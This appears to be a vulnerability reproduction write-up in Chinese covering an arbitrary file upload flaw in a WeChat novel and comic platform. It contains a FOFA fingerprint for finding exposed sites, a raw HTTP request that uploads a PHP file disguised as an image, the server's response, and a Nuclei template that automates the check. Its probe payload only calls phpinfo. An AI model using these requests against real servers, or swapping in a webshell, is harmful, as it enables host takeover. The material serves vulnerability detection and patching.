微信公众号小说漫画系统 fileupload.php 任意文件上传漏洞复现

"/Public/home/mhjs/jquery.js"

POST /Public/webuploader/0.1.5/server/fileupload.php HTTP/1.1Host: X.X.X.XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 221Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqvlfcogulumndzorAccept-Encoding: gzip------WebKitFormBoundaryqvlfcogulumndzorContent-Disposition: form-data; name="file"; filename="fpgemjsu.php"Content-Type: image/jpeg<?php phpinfo();unlink(__FILE__);?>------WebKitFormBoundaryqvlfcogulumndzor

HTTP/1.1 200 OKConnection: closeTransfer-Encoding: chunkedCache-Control: no-store, no-cache, must-revalidateCache-Control: post-check=0, pre-check=0Content-Type: text/html; charset=UTF-8Date: Thu, 10 Oct 2024 12:42:56 GMTExpires: Mon, 26 Jul 1997 05:00:00 GMTLast-Modified: Thu, 10 Oct 2024 12:42:56 GMTPragma: no-cacheServer: nginxVary: Accept-Encoding{"jsonrpc" : "2.0", "result" : null, "id" : "id"}

Public/webuploader/0.1.5/server/upload/fpgemjsu.php

id: WeChatOfficialAccountNovelComic-fileuploadinfo:  name: 微信公众号小说漫画系统 fileupload.php 任意文件上传漏洞  author: fgz  severity: critical  description: 微信公众号小说漫画系统内置了丰富的小说和漫画资源，涵盖各类题材和风格，满足不同用户的阅读需求。同时，它还支持作者入驻和作品上传。能够支持多终端访问，如微信小程序、H5网页、微信公众号以及原生APP等。该系统fileupload.php接口处存在任意文件上传漏洞，请及时修复，否则会导致主机失陷。  metadata:    max-request: 1    fofa-query: "/Public/home/mhjs/jquery.js"    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}"  file_content: "{{to_lower(rand_text_alpha(20))}}"  rboundary: "{{to_lower(rand_text_alpha(16))}}"requests:  - raw:      - |+        POST /Public/webuploader/0.1.5/server/fileupload.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36        Connection: close        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}        ------WebKitFormBoundary{{rboundary}}        Content-Disposition: form-data; name="file"; filename="{{file_name}}.php"        Content-Type: image/jpeg        <?php phpinfo();unlink(__FILE__);?>        ------WebKitFormBoundary{{rboundary}}      - |        GET /Public/webuploader/0.1.5/server/upload/{{file_name}}.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip    extractors:      - type: json        part: body        name: path        json:          - '.name'        internal: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, 'PHP Version') && contains(body_2, 'PHP API')"